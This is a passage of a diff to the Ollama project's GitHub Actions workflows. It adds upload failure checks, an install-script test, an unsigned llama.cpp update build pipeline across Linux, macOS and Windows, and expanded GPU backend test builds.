+            if [ ! -f "$payload" ]; then
+              echo "::error::Missing expected release artifact: $payload"
+              exit 1
+            fi
+          done
       - name: Generate checksum file
         run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
         working-directory: dist
@@ -531,14 +755,22 @@ jobs:
       - name: Upload release artifacts
         run: |
           pids=()
-          for payload in dist/*.txt dist/*.zip dist/*.tgz dist/*.exe dist/*.dmg ; do
+          for payload in dist/*.txt dist/*.zip dist/*.tgz dist/*.tar.zst dist/*.exe dist/*.dmg dist/*.ps1 dist/*.sh ; do
             echo "Uploading $payload"
             gh release upload ${GITHUB_REF_NAME} $payload --clobber &
-            pids[$!]=$!
+            pids+=($!)
             sleep 1
           done
           echo "Waiting for uploads to complete"
-          for pid in "${pids[*]}"; do
-            wait $pid
+          failed=0
+          for pid in "${pids[@]}"; do
+            if ! wait $pid; then
+              echo "::error::Upload failed (pid $pid)"
+              failed=1
+            fi
           done
+          if [ $failed -ne 0 ]; then
+            echo "One or more uploads failed"
+            exit 1
+          fi
           echo "done"

.github/workflows/test-install.yaml

@@ -0,0 +1,22 @@
+name: test-install
+
+on:
+  pull_request:
+    paths:
+      - 'scripts/install.sh'
+      - '.github/workflows/test-install.yaml'
+
+jobs:
+  test:
+    strategy:
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run install script
+        run: sh ./scripts/install.sh
+        env:
+          OLLAMA_NO_START: 1 # do not start app
+      - name: Verify ollama is available
+        run: ollama --version

.github/workflows/test-llamacpp-update.yaml

@@ -0,0 +1,596 @@
+name: test-llamacpp-update
+
+# PR validation artifacts from this workflow are intentionally unsigned and not
+# notarized. They are for llama.cpp update testing only and must not be
+# published as release artifacts.
+
+on:
+  pull_request:
+    paths:
+      - 'LLAMA_CPP_VERSION'
+
+permissions:
+  contents: read
+
+env:
+  CGO_CFLAGS: '-O3'
+  CGO_CXXFLAGS: '-O3'
+
+jobs:
+  setup-environment:
+    runs-on: ubuntu-latest
+    outputs:
+      GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
+      VERSION: ${{ steps.goflags.outputs.VERSION }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Set environment
+        id: goflags
+        shell: bash
+        run: |
+          set -euo pipefail
+          VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
+          {
+            echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
+            echo "VERSION=${VERSION}"
+            echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
+          } >>"${GITHUB_OUTPUT}"
+
+  darwin-build:
+    runs-on: macos-26-xlarge
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+      CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Build unsigned Darwin runtime
+        run: ./scripts/build_darwin.sh build package
+      - name: Log build results
+        run: ls -l dist/
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-darwin.tgz
+          path: dist/ollama-darwin.tgz
+          compression-level: 0
+
+  # Build payload export stages independently and combine the exported
+  # filesystem artifacts below. This preserves parallelism without Docker
+  # registry credentials or oversized GitHub layer caches.
+  linux-payloads:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - arch: amd64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: amd64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: amd64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: amd64
+            target: publish-llama-server-rocm_v7_2
+            payload: rocm_v7_2
+          - arch: amd64
+            target: publish-llama-server-vulkan
+            payload: vulkan
+          - arch: arm64
+            target: publish-llama-server-cpu
+            payload: cpu
+          - arch: arm64
+            target: publish-llama-server-cuda_v12
+            payload: cuda_v12
+          - arch: arm64
+            target: publish-llama-server-cuda_v13
+            payload: cuda_v13
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack5
+            payload: cuda_jetpack5
+          - arch: arm64
+            target: publish-llama-server-cuda_jetpack6
+            payload: cuda_jetpack6
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
+          compression-level: 0
+
+  linux-go:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: docker/setup-buildx-action@v3
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/${{ matrix.arch }}
+          target: publish-go
+          provenance: false
+          sbom: false
+          build-args: |
+            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
+            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
+            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          outputs: type=local,dest=${{ runner.temp }}/payload
+      - name: Pack Linux Go payload
+        shell: bash
+        run: |
+          set -euo pipefail
+          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: linux-payload-${{ matrix.arch }}-go
+          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
+          compression-level: 0
+
+  # MLX payloads are intentionally excluded from this workflow; the Dockerfile
+  # still exposes publish-mlx for a separate MLX-specific workflow.
+  linux-bundles:
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+    needs: [linux-payloads, linux-go]
+    strategy:
+      fail-fast: false
+      matrix:
+        arch: [amd64, arm64]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: linux-payload-${{ matrix.arch }}-*
+          path: ${{ runner.temp }}/payloads
+          merge-multiple: true
+      - name: Assemble Linux payload tree
+        shell: bash
+        run: |
+          set -euo pipefail
+          src="${{ runner.temp }}/payloads"
+          arch="${{ matrix.arch }}"
+          dest="dist/linux-${arch}"
+          copy_payload() {
+            local name="$1"
+            local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
+            if [ ! -f "${payload}" ]; then
+              echo "missing payload ${payload}"
+              exit 1
+            fi
+            zstd -d <"${payload}" | tar -C "${dest}" -xf -
+          }
+
+          mkdir -p "${dest}"
+          copy_payload go
+          copy_payload cpu
+          copy_payload cuda_v12
+          copy_payload cuda_v13
+          if [ "${arch}" = "amd64" ]; then
+            copy_payload vulkan
+            copy_payload rocm_v7_2
+          else
+            copy_payload cuda_jetpack5
+            copy_payload cuda_jetpack6
+          fi
+
+          ./scripts/deduplicate_cuda_libs.sh "${dest}"
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/linux-${{ matrix.arch }}"
+          for payload in \
+            "${base}/bin/ollama" \
+            "${base}/lib/ollama/llama-server"
+          do
+            [ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
+          done
+      - name: Create archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "${COMPONENT}" in
+              bin/ollama*)              echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)         echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)          echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)      echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/linux-${{ matrix.arch }}
+      - name: Log archive input lists
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            echo "${ARCHIVE}"
+            cat "${ARCHIVE}"
+          done
+      - name: Create Linux archives
+        shell: bash
+        run: |
+          set -euo pipefail
+          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-${{ matrix.arch }}.tar.zst
+          path: ollama-linux-${{ matrix.arch }}.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'amd64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-amd64-rocm.tar.zst
+          path: ollama-linux-amd64-rocm.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack5.tar.zst
+          path: ollama-linux-arm64-jetpack5.tar.zst
+          compression-level: 0
+      - if: matrix.arch == 'arm64'
+        uses: actions/upload-artifact@v4
+        with:
+          name: ollama-linux-arm64-jetpack6.tar.zst
+          path: ollama-linux-arm64-jetpack6.tar.zst
+          compression-level: 0
+
+  windows-depends:
+    needs: setup-environment
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [windows]
+        arch: [amd64]
+        preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
+        include:
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 12'
+            build-steps: cuda12
+            install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+            cuda-version: '12.8'
+          - os: windows
+            arch: amd64
+            preset: 'CUDA 13'
+            build-steps: cuda13
+            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+              - '"crt"'
+              - '"nvvm"'
+              - '"nvptxcompiler"'
+            cuda-version: '13.0'
+          - os: windows
+            arch: amd64
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+          - os: windows
+            arch: amd64
+            preset: Vulkan
+            build-steps: vulkan
+            install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install system dependencies
+        run: |
+          choco install -y --no-progress ccache ninja
+          if (Get-Command ccache -ErrorAction SilentlyContinue) {
+            ccache -o cache_dir=${{ github.workspace }}\.ccache
+          }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
+        id: cache-install
+        uses: actions/cache/restore@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - if: startsWith(matrix.preset, 'CUDA ')
+        name: Install CUDA ${{ matrix.cuda-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            $subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
+            Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
+          }
+
+          $cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
+          echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+      - if: startsWith(matrix.preset, 'ROCm')
+        name: Install ROCm ${{ matrix.rocm-version }}
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
+          }
+
+          $hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
+          echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
+      - if: matrix.preset == 'Vulkan'
+        name: Install Vulkan
+        run: |
+          $ErrorActionPreference = "Stop"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
+            Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
+          }
+
+          $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
+          echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
+      - if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
+        uses: actions/cache/save@v4
+        with:
+          path: |
+            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
+            C:\Program Files\AMD\ROCm
+            C:\VulkanSDK
+          key: ${{ matrix.install }}
+      - uses: actions/checkout@v4
+      - uses: actions/cache@v4
+        with:
+          path: ${{ github.workspace }}\.ccache
+          key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
+      - name: Build Windows dependencies
+        run: |
+          Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
+          Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
+        env:
+          CMAKE_GENERATOR: Ninja
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
+          path: dist\*
+          compression-level: 0
+
+  windows-build:
+    runs-on: windows
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - name: Install clang and gcc-compat
+        run: |
+          $ErrorActionPreference = "Stop"
+          Set-ExecutionPolicy Bypass -Scope Process -Force
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Verify gcc is actually clang
+        run: |
+          $ErrorActionPreference='Continue'
+          $version=& gcc -v 2>&1
+          $version=$version -join "`n"
+          echo "gcc is $version"
+          if ($version -notmatch 'clang') {
+            echo "ERROR: GCC must be clang for proper utf16 handling"
+            exit 1
+          }
+          $ErrorActionPreference='Stop'
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: "20"
+      - name: Build Windows binaries and app launchers
+        run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Log build results
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - uses: actions/upload-artifact@v4
+        with:
+          name: build-windows-amd64
+          path: dist\*
+          compression-level: 0
+
+  windows-package:
+    runs-on: windows
+    needs: [setup-environment, windows-build, windows-depends]
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: depends-windows*
+          path: dist
+          merge-multiple: true
+      - uses: actions/download-artifact@v4
+        with:
+          pattern: build-windows*
+          path: dist
+          merge-multiple: true
+      - name: Copy unsigned install script
+        run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
+      - name: Log dist contents after download
+        run: gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - name: Build unsigned Windows installer and zips
+        run: ./scripts/build_windows.ps1 deps installer zip
+      - name: Log contents after build
+        run: |
+          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - name: Verify Windows package outputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/ollama-windows-amd64.zip \
+            dist/ollama-windows-arm64.zip \
+            dist/ollama-windows-amd64-rocm.zip \
+            dist/OllamaSetup.exe \
+            dist/install.ps1
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64.zip
+          path: dist/ollama-windows-amd64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-arm64.zip
+          path: dist/ollama-windows-arm64.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-windows-amd64-rocm.zip
+          path: dist/ollama-windows-amd64-rocm.zip
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: OllamaSetup.exe
+          path: dist/OllamaSetup.exe
+          compression-level: 0
+      - uses: actions/upload-artifact@v4
+        with:
+          name: install.ps1
+          path: dist/install.ps1
+          compression-level: 0

.github/workflows/test.yaml

@@ -22,7 +22,8 @@ jobs:
     runs-on: ubuntu-latest
     outputs:
       changed: ${{ steps.changes.outputs.changed }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      app_changed: ${{ steps.changes.outputs.app_changed }}
+      enginehash: ${{ steps.changes.outputs.enginehash }}
     steps:
       - uses: actions/checkout@v4
         with:
@@ -37,8 +38,42 @@ jobs:
               | xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
           }
 
-          echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*') | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo changed=$(changed \
+            'CMakeLists.txt' \
+            'CMakePresets.json' \
+            'cmake/**' \
+            'cmake/**/*' \
+            'llama/server/**/*' \
+            'llama/compat/**/*' \
+            'LLAMA_CPP_VERSION' \
+            'MLX_VERSION' \
+            'MLX_C_VERSION' \
+            'llama/llama.cpp/**/*' \
+            'ml/backend/ggml/ggml/**/*' \
+            'x/imagegen/mlx/**' \
+            'x/imagegen/mlx/**/*' \
+            '.github/**/*') | tee -a $GITHUB_OUTPUT
+          echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
+          echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
+
+  patches:
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Verify patches apply cleanly
+        shell: bash
+        run: |
+          cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
+            -DCMAKE_BUILD_TYPE=Release \
+            -DBUILD_SHARED_LIBS=ON \
+            -DGGML_BACKEND_DL=ON \
+            -DGGML_NATIVE=OFF \
+            -DGGML_OPENMP=OFF \
+            -DGGML_CPU_ALL_VARIANTS=ON \
+            -DOLLAMA_RUNNER_DIR=
 
   linux:
     needs: [changes]
@@ -47,19 +82,42 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build/local-superbuild
+            superbuild_args: ''
+            expected_payload: lib/ollama/llama-server
+            install-go: true
           - preset: CUDA
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build/local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
+            expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
           - preset: ROCm
-            container: rocm/dev-ubuntu-22.04:6.1.2
+            container: rocm/dev-ubuntu-22.04:7.2.1
             extra-packages: rocm-libs
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            superbuild_target: ollama-llama-server-rocm_v7_2
+            superbuild_dir: build/local-superbuild-rocm_v7_2
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
+            expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
           - preset: Vulkan
             container: ubuntu:22.04
             extra-packages: >
               mesa-vulkan-drivers vulkan-tools
               libvulkan1 libvulkan-dev
-              vulkan-sdk cmake ccache g++ make
+              vulkan-sdk spirv-headers cmake ccache g++ make
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build/local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib/ollama/vulkan/libggml-vulkan.so
+          - preset: 'MLX CUDA 13'
+            container: nvidia/cuda:13.0.0-devel-ubuntu22.04
+            extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build/local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
+            expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
+            install-go: true
     runs-on: linux
     container: ${{ matrix.container }}
     steps:
@@ -75,21 +133,42 @@ jobs:
             echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg]  https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
             $sudo apt-get update
           fi
-          $sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
+          $sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
+          # Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
+          curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
           # Export VULKAN_SDK if provided by LunarG package (defensive)
           if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
             echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
           fi
         env:
           DEBIAN_FRONTEND: noninteractive
+      - if: matrix.install-go
+        name: Install Go
+        run: |
+          [ -n "${{ matrix.container }}" ] || sudo=sudo
